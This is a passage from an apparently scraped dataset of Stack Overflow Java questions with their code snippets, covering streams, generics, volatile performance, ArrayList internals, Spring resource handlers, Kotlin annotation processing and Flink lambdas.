map.values ( ) .stream ( ) .collect ( Collectors.toList ( ) ) ; // does not compile","How to get a List < E > from a HashMap < String , List < E > >" +Java,Philip Wadler 's paper `` Monads for functional programming '' has an example of a function eval which performs division written in Haskell.Here it is as adapted in `` Programming in Haskell '' by Graham Hutton : My Java equivalent of this is : This seems fine but how do I develop this code so that I can demonstrate a Try monad ( to catch division by zero ) in Java ?,"data Expr = Val Int | Div Expr Expreval : : Expr - > Inteval ( Val n ) = neval ( Div x y ) = eval x ` div ` eval y abstract class IntegerExpression { abstract Integer evaluate ( ) ; } class Value extends IntegerExpression { Integer value ; public Value ( Integer x ) { value = x ; } public Integer evaluate ( ) { return value ; } } class DivisionExpression extends IntegerExpression { IntegerExpression x , y ; public DivisionExpression ( IntegerExpression a , IntegerExpression b ) { x = a ; y = b ; } public Integer evaluate ( ) { return x.evaluate ( ) / y.evaluate ( ) ; } } public class DivisionExample { public static void main ( String [ ] args ) { IntegerExpression two = new Value ( 2 ) ; IntegerExpression twenty = new DivisionExpression ( new Value ( 100 ) , new Value ( 5 ) ) ; IntegerExpression ten = new DivisionExpression ( twenty , new Value ( 2 ) ) ; IntegerExpression five = new DivisionExpression ( new Value ( 10 ) , two ) ; IntegerExpression expr = new DivisionExpression ( ten , five ) ; System.out.println ( expr.evaluate ( ) ) ; } }",What is the Java equivalent of this Haskell function ? +Java,Lest 's say I have string : What I would like to do is create String array like this : Since B occurred 4 times C did 2 times and A only 1 time.What would solution for this problem look like ?,"String test= `` AA BB CC BB BB CC BB '' ; String [ ] { `` BB '' , `` CC '' , `` AA '' }",Descending sort of substrings by occurence - Java +Java,"I have a text file with a just a character 'T ' inside , and I have created a read stream to output to the console what is being read and I got 239 , 187 , 191 and 84 , I understand that 84 represents 'T ' , I know 239 , 187 , 191 represent other characters as well but I do n't have those characters in my text file , what is going on ? ?",public class Test { public static void main ( String args [ ] ) throws IOException { FileInputStream in = null ; try { in = new FileInputStream ( `` input.txt '' ) ; int c ; while ( ( c = in.read ( ) ) ! = -1 ) { System.out.println ( c ) ; } } finally { if ( in ! = null ) { in.close ( ) ; } } } },"Why does the FileReader stream read 237 , 187 , 191 from a textfile ?" +Java,"I know this is quite minor , but at the top of every class I end up copying and pasting and then changing the following line of code.What I would like to do is not to have to modify the MyClass bit every time I copy.i.e . I would like to write this.but clearly there is no this at this point . I know its minor , but I generally learn something from SO answers , and indeed learnt some good stuff just searching to see if there was an answer already .",private static final String TAG = MyClass.class.getName ( ) ; private static final String TAG = this.class.getName ( ) ;,In Java is there a static version of 'this ' +Java,"I have an object that contains a Collection of strings , let 's say the languages that a person speaks.Now , creating some instances like this ... ... what I want to have is a Map < String , List < Person > > , for every language listing the persons that speak the language : Of course this can be programmed easily in an imperative way , but how to do it the functional way with Java Streams ? I have tried something like people.stream.collect ( groupingBy ( Person : :getLanguagesSpoken ) ) but that of course gives me a Map < List < String > , List < Person > > . All the examples I could find , are using groupingBy on Primitives or Strings .","public class Person { private String name ; private int age ; private List < String > languagesSpoken ; // ... } Person p1 = new Person ( `` Bob '' , 21 , Arrays.asList ( `` English '' , `` French '' , `` German '' ) ) ; Person p2 = new Person ( `` Alice '' , 33 , Arrays.asList ( `` English '' , `` Chinese '' , `` Spanish '' ) ) ; Person p3 = new Person ( `` Joe '' , 43 , Arrays.asList ( `` English '' , `` Dutch '' , `` Spanish '' , `` German '' ) ) ; //put them in listList < Person > people = Arrays.asList ( p1 , p2 , p3 ) ; [ `` English '' - > [ p1 , p2 , p3 ] , `` German '' - > [ p1 , p3 ] , etc . ]",Group by a Collection attribute using Java Streams +Java,"Here I wrote a test about access speed of local , member , volatile member : And here is a result on my X220 ( I5 CPU ) : Round:1Empty:5Local:10Member:312VMember:33378Round:2Empty:31Local:0Member:294VMember:33180Round:3Empty:0Local:0Member:306VMember:33085Round:4Empty:0Local:0Member:300VMember:33066Round:5Empty:0Local:0Member:303VMember:33078Round:6Empty:0Local:0Member:299VMember:33398Round:7Empty:0Local:0Member:305VMember:33139Round:8Empty:0Local:0Member:307VMember:33490Round:9Empty:0Local:0Member:350VMember:35291Round:10Empty:0Local:0Member:332VMember:33838It surprised me that access to volatile member is 100 times slower than normal member . I know there is some highlight feature about volatile member , such as a modification to it will be visible for all thread immediately , access point to volatile variable plays a role of `` memory barrier '' . But can all these side effect be the main cause of 100 times slow ? PS : I also did a test on a Core II CPU machine . It is about 9:50 , about 5 times slow . seems like this is also related to CPU arch . 5 times is still big , right ?",public class VolatileTest { public int member = -100 ; public volatile int volatileMember = -100 ; public static void main ( String [ ] args ) { int testloop = 10 ; for ( int i = 1 ; i < = testloop ; i++ ) { System.out.println ( `` Round : '' + i ) ; VolatileTest vt = new VolatileTest ( ) ; vt.runTest ( ) ; System.out.println ( ) ; } } public void runTest ( ) { int local = -100 ; int loop = 1 ; int loop2 = Integer.MAX_VALUE ; long startTime ; startTime = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < loop ; i++ ) { for ( int j = 0 ; j < loop2 ; j++ ) { } for ( int j = 0 ; j < loop2 ; j++ ) { } } System.out.println ( `` Empty : '' + ( System.currentTimeMillis ( ) - startTime ) ) ; startTime = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < loop ; i++ ) { for ( int j = 0 ; j < loop2 ; j++ ) { local++ ; } for ( int j = 0 ; j < loop2 ; j++ ) { local -- ; } } System.out.println ( `` Local : '' + ( System.currentTimeMillis ( ) - startTime ) ) ; startTime = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < loop ; i++ ) { for ( int j = 0 ; j < loop2 ; j++ ) { member++ ; } for ( int j = 0 ; j < loop2 ; j++ ) { member -- ; } } System.out.println ( `` Member : '' + ( System.currentTimeMillis ( ) - startTime ) ) ; startTime = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < loop ; i++ ) { for ( int j = 0 ; j < loop2 ; j++ ) { volatileMember++ ; } for ( int j = 0 ; j < loop2 ; j++ ) { volatileMember -- ; } } System.out.println ( `` VMember : '' + ( System.currentTimeMillis ( ) - startTime ) ) ; } },Why access volatile variable is about 100 slower than member ? +Java,I 've tried to pass an initialization list { ... } to a constructor and it did n't work.When I instead declared it in a method local variable ( int [ ] ) it worked flawlessly.Why is that ?,"public class QuickSort { int [ ] a ; public QuickSort ( int [ ] a ) { this.a = a ; } public static void main ( String [ ] args ) { // # # # # # # # # # # # # # # # # # # # // # # # WORKS # # // # # # # # # # # # # # # # # # # # # # int [ ] a = { 8,12,79,12,50,44,8,0,7,289,1 } ; QuickSort sort = new QuickSort ( a ) ; // # # # # # # # # # # # # # # # # # # # // # # # DOES N'T WORK # # // # # # # # # # # # # # # # # # # # # # //QuickSort sort = new QuickSort ( { 8,12,79,12,50,44,8,0,7,289,1 } ) ; } }","Why passing { a , b , c } to a method does n't work ?" +Java,I wrote a simple program to iterate through a List using java 8 lambda.In the program below I have more than 2 pieces of logic to perform inside lambda . The problem I am facing is how to update the 4th way i.e . System.out : :print ?,"import java.util.ArrayList ; import java.util.Arrays ; import java.util.List ; import java.util.function.Consumer ; public class FirstLamdaExpression { public static void main ( String [ ] args ) { List < Integer > list = Arrays.asList ( 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 ) ; //Way 1 : old way list.forEach ( new Consumer < Integer > ( ) { @ Override public void accept ( Integer t ) { System.out.print ( t + `` `` ) ; } } ) ; //Way 2 System.out.println ( `` `` ) ; list.forEach ( ( Integer t ) - > System.out.print ( t + `` `` ) ) ; //Way 3 System.out.println ( `` `` ) ; list.forEach ( ( t ) - > System.out.print ( t + `` `` ) ) ; //Way 4 System.out.println ( `` `` ) ; list.forEach ( System.out : :print ) ; } } import java.util.ArrayList ; import java.util.Arrays ; import java.util.List ; import java.util.function.Consumer ; public class SecondLamdaExpression { public static void main ( String [ ] args ) { List < Integer > list = Arrays.asList ( 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 ) ; //Way 1 : Old way list.forEach ( new Consumer < Integer > ( ) { @ Override public void accept ( Integer t ) { System.out.print ( t + `` Twice is : `` ) ; System.out.print ( t*2 + `` , `` ) ; } } ) ; //Way 2 System.out.println ( `` `` ) ; list.forEach ( ( Integer t ) - > { System.out.print ( t + `` Twice is : `` ) ; System.out.print ( t*2 + `` , `` ) ; } ) ; //Way 3 System.out.println ( `` `` ) ; list.forEach ( ( t ) - > { System.out.print ( t + `` Twice is : `` ) ; System.out.print ( t*2 + `` , `` ) ; } ) ; //Way 4 //System.out.println ( `` `` ) ; //list.forEach ( ( t ) - > System.out : :print { ( t + `` Twice is : `` ) ; } ) ; } }",Java 8 : Lambda expression contains more than one statement/logic +Java,"I have tried some code in Java 8 ( 1.8.0_77 ) and Java 9 ( Java HotSpot ( TM ) 64-Bit Server VM ( build 9+181 , mixed mode ) ) I am not too familiar with details of those classes , but in Java 8 this works , printing : mo = MONDAYIn Java 9 , however it fails Exception in thread `` main '' java.time.format.DateTimeParseException : Text 'Mo ' could not be parsed at index 0 at java.base/java.time.format.DateTimeFormatter.parseResolved0 ( DateTimeFormatter.java:1988 ) at java.base/java.time.format.DateTimeFormatter.parse ( DateTimeFormatter.java:1890 ) at day.main ( day.java:10 ) Any ideas , is this reproducible ? so , when formating : using this code : jdk1.8.0-77 : format = Mojdk-9 ( build 9+181 ) format = Mo .","DateTimeFormatter dtf = DateTimeFormatter.ofPattern ( `` eee '' , Locale.GERMAN ) ; DayOfWeek mo = dtf.parse ( `` Mo '' , DayOfWeek : :from ) ; System.out.println ( `` mo = `` + mo ) ; DateTimeFormatter dtf = DateTimeFormatter.ofPattern ( `` eee '' , Locale.GERMAN ) ; String format = dtf.format ( DayOfWeek.MONDAY ) ; System.out.println ( `` format = `` + format ) ;","JDK dateformatter parsing DayOfWeek in German locale , java8 vs java9" +Java,I stumbled upon the following code in NestedRuntimeException in org.springframework.core : What is the use of having such a block ?,static { NestedExceptionUtils.class.getName ( ) ; },static invocation of Class.getName ( ) +Java,"Before you go duplicating this question , I 'll explain to you what I know , what I 've read other questions , and why this is not working for me.My goal with this is to implement reflection a java based game that I have the .jar for . I attach it as an external library in my eclipse project.I am getting the erroron the lineNow as mentioned in other questions . The reason for this error is that I have two referenced libraries that were signed differently ? ( Perhaps meaning they are compiled with different versions of java ? ) .The only two libraries I reference are the JRE system ( my project is build on 1.7 ) and the .jar of the game . Would this error be occurring maybe if the .jar was compiled on 1.6 ? Should I remake my project as using the JRE 1.6 ? How can I tell what JRE version the client was compiled with ? Thanks ! Edit : Another thought I had is perhaps the .jar file of the game itself has classes that have different signatures ( perhaps to stop reflection ) . Is this possible ?",java.lang.SecurityException : class `` Client '' 's signer information does not match signer information of other classes in the same package Class clazz = Client.class ;,java.lang.SecurityException with reflection +Java,"I seem to stumble across something interesting in ArrayList implementation that I ca n't wrap my head around . Here is some code that shows what I mean : The idea is if you create an ArrayList like this : And look inside what the elementData ( Object [ ] where all elements are kept ) the it will report 10 . Thus you add one element - you get 9 additional slots that are un-used.If , on the other hand , you do : you add one element , space reserved is just for that element , nothing more . Internally this is achieved via two fields : When you create an ArrayList via new ArrayList ( 0 ) - EMPTY_ELEMENTDATA will be used.When you create an ArrayList via new Arraylist ( ) - DEFAULTCAPACITY_EMPTY_ELEMENTDATA is used.The intuitive part from inside me - simply screams `` remove DEFAULTCAPACITY_EMPTY_ELEMENTDATA '' and let all the cases be handled with EMPTY_ELEMENTDATA ; of course the code comment : We distinguish this from EMPTY_ELEMENTDATA to know how much to inflate when first element is addeddoes make sense , but why would one inflate to 10 ( a lot more than I asked for ) and the other one to 1 ( exactly as much as I requested ) .Even if you use List < String > zeroConstructorList = new ArrayList < > ( 0 ) , and keep adding elements , eventually you will get to a point where elementData is bigger than the one requested : But the rate at which it grows is smaller than the case of default constructor . This reminds me about HashMap implementation , where the number of buckets is almost always more than you asked for ; but there that is done because of the need for `` power of two '' buckets needed , not the case here though.So the question is - can someone explain this difference to me ?","public class Sandbox { private static final VarHandle VAR_HANDLE_ARRAY_LIST ; static { try { Lookup lookupArrayList = MethodHandles.privateLookupIn ( ArrayList.class , MethodHandles.lookup ( ) ) ; VAR_HANDLE_ARRAY_LIST = lookupArrayList.findVarHandle ( ArrayList.class , `` elementData '' , Object [ ] .class ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; throw new RuntimeException ( ) ; } } public static void main ( String [ ] args ) { List < String > defaultConstructorList = new ArrayList < > ( ) ; defaultConstructorList.add ( `` one '' ) ; Object [ ] elementData = ( Object [ ] ) VAR_HANDLE_ARRAY_LIST.get ( defaultConstructorList ) ; System.out.println ( elementData.length ) ; List < String > zeroConstructorList = new ArrayList < > ( 0 ) ; zeroConstructorList.add ( `` one '' ) ; elementData = ( Object [ ] ) VAR_HANDLE_ARRAY_LIST.get ( zeroConstructorList ) ; System.out.println ( elementData.length ) ; } } List < String > defaultConstructorList = new ArrayList < > ( ) ; defaultConstructorList.add ( `` one '' ) ; List < String > zeroConstructorList = new ArrayList < > ( 0 ) ; zeroConstructorList.add ( `` one '' ) ; /** * Shared empty array instance used for empty instances . */private static final Object [ ] EMPTY_ELEMENTDATA = { } ; /** * Shared empty array instance used for default sized empty instances . We * distinguish this from EMPTY_ELEMENTDATA to know how much to inflate when * first element is added . */private static final Object [ ] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = { } ; List < String > zeroConstructorList = new ArrayList < > ( 0 ) ; zeroConstructorList.add ( `` one '' ) ; zeroConstructorList.add ( `` two '' ) ; zeroConstructorList.add ( `` three '' ) ; zeroConstructorList.add ( `` four '' ) ; zeroConstructorList.add ( `` five '' ) ; // elementData will report 6 , though there are 5 elements only",Why does using different ArrayList constructors cause a different growth rate of the internal array ? +Java,"I 'm working on annotation processor for Kotlin and because the processed elements are in Java I do n't receive nullables as ? instead with a @ Nullable annotation and that 's fine , but I 'm facing a problem with receiving null parameters in types and in higher order functions , for normal parameters.I will receive java.lang.String at process with @ org.jetbrains.annotations.Nullable in its annotations.But List < String ? > for example will return me java.util.List < java.lang.String > without any annotations not in the main element not in the type arguments which results in a unknown nullability stateI tried using javax.lang.model.util.Types to find some sort of result but nothing . Some of the code that i 'm using now : All help will be appreciated .",var someNullField : String ? = `` '' val utils = processingEnvironment.typeUtilsval type = fieldElement.asType ( ) if ( type is DeclaredType ) { val typeElement = utils.asElement ( type ) type.typeArguments .forEach { //Trying different ways and just printing for possible results val capture = utils.capture ( it ) val erasure = utils.erasure ( it ) val element = utils.asElement ( it ) printMessage ( `` element : $ element isNullable : $ { element.isNullable ( ) } isNotNull : $ { element.isNotNull ( ) } \ncapture : $ capture isNullable : $ { capture.isNullable ( ) } isNotNull : $ { capture.isNotNull ( ) } \nerasure : $ erasure isNullable : $ { erasure.isNullable ( ) } isNotNull : $ { erasure.isNotNull ( ) } '' ) } },Nullable types in kotlin annotation processor +Java,Is it possible to throw some sort of runtime exception when integer overflow occurs rather then failing silently . For e.g.print 1569325056 due to overflow and what I w 'd like is to get some sort of runtime exception,int x = 100000000 * 1000000000 ;,Throw exception on numeric overflow +Java,"I need to draw a fractal swirl using the algorithm Iterated Function System.There are coefficients for this fractal : And here is my code : Unfortunately , with this code I get a wrong picture : It would be great if someone could point out my mistake .","0.745455 -0.459091 0.406061 0.887121 1.460279 0.691072 0.912675-0.424242 -0.065152 -0.175758 -0.218182 3.809567 6.741476 0.087325 import java.awt.Graphics ; import javax.swing.JPanel ; public class Surface extends JPanel { double a1 = 0.745455 ; double b1 = -0.459091 ; double d1 = 0.406061 ; double e1 = 0.887121 ; double c1 = 1.460279 ; double f1 = 0.691072 ; double p1 = 0.912675 ; double a2 = -0.424242 ; double b2 = -0.065152 ; double d2 = -0.175758 ; double e2 = -0.218182 ; double c2 = 3.809567 ; double f2 = 6.741476 ; double p2 = 0.087325 ; double x1 ( double x , double y ) { return a1 * x + b1 * y + c1 ; } double y1 ( double x , double y ) { return d1 * x + e1 * y + f1 ; } double x2 ( double x , double y ) { return a2 * x + b2 * y + c2 ; } double y2 ( double x , double y ) { return d2 * x + e2 * y + f2 ; } public void paint ( Graphics g ) { drawFractal ( g ) ; } void drawFractal ( Graphics g ) { double x1 = 300 ; double y1 = 300 ; double x2 = 0 ; double y2 = 0 ; g.fillOval ( 300 + ( int ) x1 , 300 + ( int ) y1 , 3 , 3 ) ; for ( int i = 0 ; i < 10000 ; i++ ) { double p = Math.random ( ) ; if ( p < 0.91675 ) { x2 = x1 ( x1 , y1 ) ; y2 = y1 ( x1 , y1 ) ; g.fillOval ( 300 + ( int ) x2 , 300 + ( int ) y2 , 3 , 3 ) ; x1 = x2 ; y1 = y2 ; } else { x2 = x2 ( x1 , y1 ) ; y2 = y2 ( x1 , y1 ) ; g.fillOval ( 300 + ( int ) x2 , 300 + ( int ) y2 , 3 , 3 ) ; x1 = x2 ; y1 = y2 ; } } } }",Generating fractal Swirl +Java,"I 'm trying to reserve all paths starting with /static/** for a resource handler.Unfortunately , I have some wildcards deriving out of the root path / in request mappings . Something like this : What did I try ? ResourceHandlerRegistry # setOrder : Various versions of interceptor ( with or without order ) : That is a half-hearted success ( probably it wo n't even work if I change mapping to / { profile } / { project } /** ) , because : I 've found some similar questions , mostly unanswered or with a little dirty solutions , like : Exclude manually static path in every controller with wildcard by regexChange your mappingsManage controllers orderCreate dedicated controller pointed to /static/** [ ... ] Summary : I do n't want to use regex , because it will be painful in the futureI also ca n't change mappings . I know , that it is the simplest way , but I 'm just not able to do that.Changing an order not workingCreating dedicated controller still have some issues with pathsI 'm looking for a simple soulution , fully automated and preferably from the configuration . The question is : what 's the proper way to achieve that ?","@ Overridepublic void addResourceHandlers ( ResourceHandlerRegistry registry ) { registry.addResourceHandler ( `` /static/** '' ) .addResourceLocations ( `` classpath : /resources/static/ '' ) ; registry.setOrder ( 1 ) ; } @ Overridepublic void addInterceptors ( InterceptorRegistry registry ) { registry.addInterceptor ( new ResourcesInterceptor ( ) ) .excludePathPatterns ( `` /static/** '' ) .order ( 2 ) ; } /static/style/home.css # works/static/style/home.cssxxx # 404 , works/static/style # catched by controller , expected : 404/static # catched by controller , expected : 404",ResourceHandler conflict with wildcards in Controllers +Java,"Given the following Scala object : It appears that the Scala compiler generates a parameterless method to access the NAME field . However , when I try to access this field from Java , it looks like the only way to access this field is as a parameterless method like : Is there a way to coax the Scala compiler to allow Java to access the val per the expected Java idiom as :",object ScalaObject { val NAME = `` Name '' } System.out.println ( ScalaObject $ .MODULE $ .NAME ( ) ) ; System.out.println ( ScalaObject $ .MODULE $ .NAME ) ;,Can I access a Scala object 's val without parentheses from Java ? +Java,"I am using Flink and Java8 . When using lambda functions with Tuples and generic types , my compiler ends up with an exceptionSo i have to create at least an anonymous class to solve the problem.First code snippet represents code that leads to described exception : Next one is working when creating an anonymous class : Javas lambda function is very neat . How can I solve this problem without creating an anonymous class ?","/Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/bin/java -Didea.launcher.port=7536 `` -Didea.launcher.bin.path=/Applications/IntelliJ IDEA.app/Contents/bin '' -Dfile.encoding=UTF-8 -classpath `` /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/charsets.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/deploy.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/ext/cldrdata.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/ext/dnsns.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/ext/jaccess.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/ext/jfxrt.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/ext/localedata.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/ext/nashorn.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/ext/sunec.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/ext/sunjce_provider.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/ext/sunpkcs11.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/ext/zipfs.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/javaws.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/jce.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/jfr.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/jfxswt.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/jsse.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/management-agent.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/plugin.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/resources.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/jre/lib/rt.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/lib/ant-javafx.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/lib/dt.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/lib/javafx-mx.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/lib/jconsole.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/lib/packager.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/lib/sa-jdi.jar : /Library/Java/JavaVirtualMachines/jdk1.8.0_102.jdk/Contents/Home/lib/tools.jar : /Users/hasan.guercan/Git/flink-java-project/target/classes : /Users/hasan.guercan/.m2/repository/org/apache/flink/flink-java/1.0.3/flink-java-1.0.3.jar : /Users/hasan.guercan/.m2/repository/org/apache/flink/flink-core/1.0.3/flink-core-1.0.3.jar : /Users/hasan.guercan/.m2/repository/org/apache/flink/flink-annotations/1.0.3/flink-annotations-1.0.3.jar : /Users/hasan.guercan/.m2/repository/com/esotericsoftware/kryo/kryo/2.24.0/kryo-2.24.0.jar : /Users/hasan.guercan/.m2/repository/com/esotericsoftware/minlog/minlog/1.2/minlog-1.2.jar : /Users/hasan.guercan/.m2/repository/org/objenesis/objenesis/2.1/objenesis-2.1.jar : /Users/hasan.guercan/.m2/repository/org/apache/avro/avro/1.7.6/avro-1.7.6.jar : /Users/hasan.guercan/.m2/repository/org/apache/flink/flink-shaded-hadoop2/1.0.3/flink-shaded-hadoop2-1.0.3.jar : /Users/hasan.guercan/.m2/repository/xmlenc/xmlenc/0.52/xmlenc-0.52.jar : /Users/hasan.guercan/.m2/repository/commons-codec/commons-codec/1.4/commons-codec-1.4.jar : /Users/hasan.guercan/.m2/repository/commons-io/commons-io/2.4/commons-io-2.4.jar : /Users/hasan.guercan/.m2/repository/commons-net/commons-net/3.1/commons-net-3.1.jar : /Users/hasan.guercan/.m2/repository/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar : /Users/hasan.guercan/.m2/repository/javax/servlet/servlet-api/2.5/servlet-api-2.5.jar : /Users/hasan.guercan/.m2/repository/org/mortbay/jetty/jetty-util/6.1.26/jetty-util-6.1.26.jar : /Users/hasan.guercan/.m2/repository/com/sun/jersey/jersey-core/1.9/jersey-core-1.9.jar : /Users/hasan.guercan/.m2/repository/commons-el/commons-el/1.0/commons-el-1.0.jar : /Users/hasan.guercan/.m2/repository/commons-logging/commons-logging/1.1.3/commons-logging-1.1.3.jar : /Users/hasan.guercan/.m2/repository/com/jamesmurty/utils/java-xmlbuilder/0.4/java-xmlbuilder-0.4.jar : /Users/hasan.guercan/.m2/repository/commons-lang/commons-lang/2.6/commons-lang-2.6.jar : /Users/hasan.guercan/.m2/repository/commons-configuration/commons-configuration/1.7/commons-configuration-1.7.jar : /Users/hasan.guercan/.m2/repository/commons-digester/commons-digester/1.8.1/commons-digester-1.8.1.jar : /Users/hasan.guercan/.m2/repository/org/codehaus/jackson/jackson-core-asl/1.8.8/jackson-core-asl-1.8.8.jar : /Users/hasan.guercan/.m2/repository/org/codehaus/jackson/jackson-mapper-asl/1.8.8/jackson-mapper-asl-1.8.8.jar : /Users/hasan.guercan/.m2/repository/com/thoughtworks/paranamer/paranamer/2.3/paranamer-2.3.jar : /Users/hasan.guercan/.m2/repository/org/xerial/snappy/snappy-java/1.0.5/snappy-java-1.0.5.jar : /Users/hasan.guercan/.m2/repository/com/jcraft/jsch/0.1.42/jsch-0.1.42.jar : /Users/hasan.guercan/.m2/repository/org/apache/zookeeper/zookeeper/3.4.6/zookeeper-3.4.6.jar : /Users/hasan.guercan/.m2/repository/io/netty/netty/3.7.0.Final/netty-3.7.0.Final.jar : /Users/hasan.guercan/.m2/repository/org/apache/commons/commons-compress/1.4.1/commons-compress-1.4.1.jar : /Users/hasan.guercan/.m2/repository/org/tukaani/xz/1.0/xz-1.0.jar : /Users/hasan.guercan/.m2/repository/commons-beanutils/commons-beanutils-bean-collections/1.8.3/commons-beanutils-bean-collections-1.8.3.jar : /Users/hasan.guercan/.m2/repository/commons-daemon/commons-daemon/1.0.13/commons-daemon-1.0.13.jar : /Users/hasan.guercan/.m2/repository/javax/xml/bind/jaxb-api/2.2.2/jaxb-api-2.2.2.jar : /Users/hasan.guercan/.m2/repository/javax/xml/stream/stax-api/1.0-2/stax-api-1.0-2.jar : /Users/hasan.guercan/.m2/repository/javax/activation/activation/1.1/activation-1.1.jar : /Users/hasan.guercan/.m2/repository/com/google/inject/guice/3.0/guice-3.0.jar : /Users/hasan.guercan/.m2/repository/javax/inject/javax.inject/1/javax.inject-1.jar : /Users/hasan.guercan/.m2/repository/aopalliance/aopalliance/1.0/aopalliance-1.0.jar : /Users/hasan.guercan/.m2/repository/org/apache/commons/commons-math3/3.5/commons-math3-3.5.jar : /Users/hasan.guercan/.m2/repository/org/slf4j/slf4j-api/1.7.7/slf4j-api-1.7.7.jar : /Users/hasan.guercan/.m2/repository/org/slf4j/slf4j-log4j12/1.7.7/slf4j-log4j12-1.7.7.jar : /Users/hasan.guercan/.m2/repository/log4j/log4j/1.2.17/log4j-1.2.17.jar : /Users/hasan.guercan/.m2/repository/org/apache/flink/force-shading/1.0.3/force-shading-1.0.3.jar : /Users/hasan.guercan/.m2/repository/org/apache/flink/flink-streaming-java_2.10/1.0.3/flink-streaming-java_2.10-1.0.3.jar : /Users/hasan.guercan/.m2/repository/org/apache/flink/flink-runtime_2.10/1.0.3/flink-runtime_2.10-1.0.3.jar : /Users/hasan.guercan/.m2/repository/io/netty/netty-all/4.0.27.Final/netty-all-4.0.27.Final.jar : /Users/hasan.guercan/.m2/repository/org/javassist/javassist/3.18.2-GA/javassist-3.18.2-GA.jar : /Users/hasan.guercan/.m2/repository/org/scala-lang/scala-library/2.10.4/scala-library-2.10.4.jar : /Users/hasan.guercan/.m2/repository/com/typesafe/akka/akka-actor_2.10/2.3.7/akka-actor_2.10-2.3.7.jar : /Users/hasan.guercan/.m2/repository/com/typesafe/config/1.2.1/config-1.2.1.jar : /Users/hasan.guercan/.m2/repository/com/typesafe/akka/akka-remote_2.10/2.3.7/akka-remote_2.10-2.3.7.jar : /Users/hasan.guercan/.m2/repository/com/google/protobuf/protobuf-java/2.5.0/protobuf-java-2.5.0.jar : /Users/hasan.guercan/.m2/repository/org/uncommons/maths/uncommons-maths/1.2.2a/uncommons-maths-1.2.2a.jar : /Users/hasan.guercan/.m2/repository/com/typesafe/akka/akka-slf4j_2.10/2.3.7/akka-slf4j_2.10-2.3.7.jar : /Users/hasan.guercan/.m2/repository/org/clapper/grizzled-slf4j_2.10/1.0.2/grizzled-slf4j_2.10-1.0.2.jar : /Users/hasan.guercan/.m2/repository/com/github/scopt/scopt_2.10/3.2.0/scopt_2.10-3.2.0.jar : /Users/hasan.guercan/.m2/repository/io/dropwizard/metrics/metrics-core/3.1.0/metrics-core-3.1.0.jar : /Users/hasan.guercan/.m2/repository/io/dropwizard/metrics/metrics-jvm/3.1.0/metrics-jvm-3.1.0.jar : /Users/hasan.guercan/.m2/repository/io/dropwizard/metrics/metrics-json/3.1.0/metrics-json-3.1.0.jar : /Users/hasan.guercan/.m2/repository/com/fasterxml/jackson/core/jackson-databind/2.4.2/jackson-databind-2.4.2.jar : /Users/hasan.guercan/.m2/repository/com/fasterxml/jackson/core/jackson-annotations/2.4.0/jackson-annotations-2.4.0.jar : /Users/hasan.guercan/.m2/repository/com/fasterxml/jackson/core/jackson-core/2.4.2/jackson-core-2.4.2.jar : /Users/hasan.guercan/.m2/repository/com/twitter/chill_2.10/0.7.4/chill_2.10-0.7.4.jar : /Users/hasan.guercan/.m2/repository/com/twitter/chill-java/0.7.4/chill-java-0.7.4.jar : /Users/hasan.guercan/.m2/repository/org/apache/commons/commons-math/2.2/commons-math-2.2.jar : /Users/hasan.guercan/.m2/repository/org/apache/sling/org.apache.sling.commons.json/2.0.6/org.apache.sling.commons.json-2.0.6.jar : /Users/hasan.guercan/.m2/repository/org/apache/flink/flink-clients_2.10/1.0.3/flink-clients_2.10-1.0.3.jar : /Users/hasan.guercan/.m2/repository/org/apache/flink/flink-optimizer_2.10/1.0.3/flink-optimizer_2.10-1.0.3.jar : /Users/hasan.guercan/.m2/repository/commons-cli/commons-cli/1.2/commons-cli-1.2.jar : 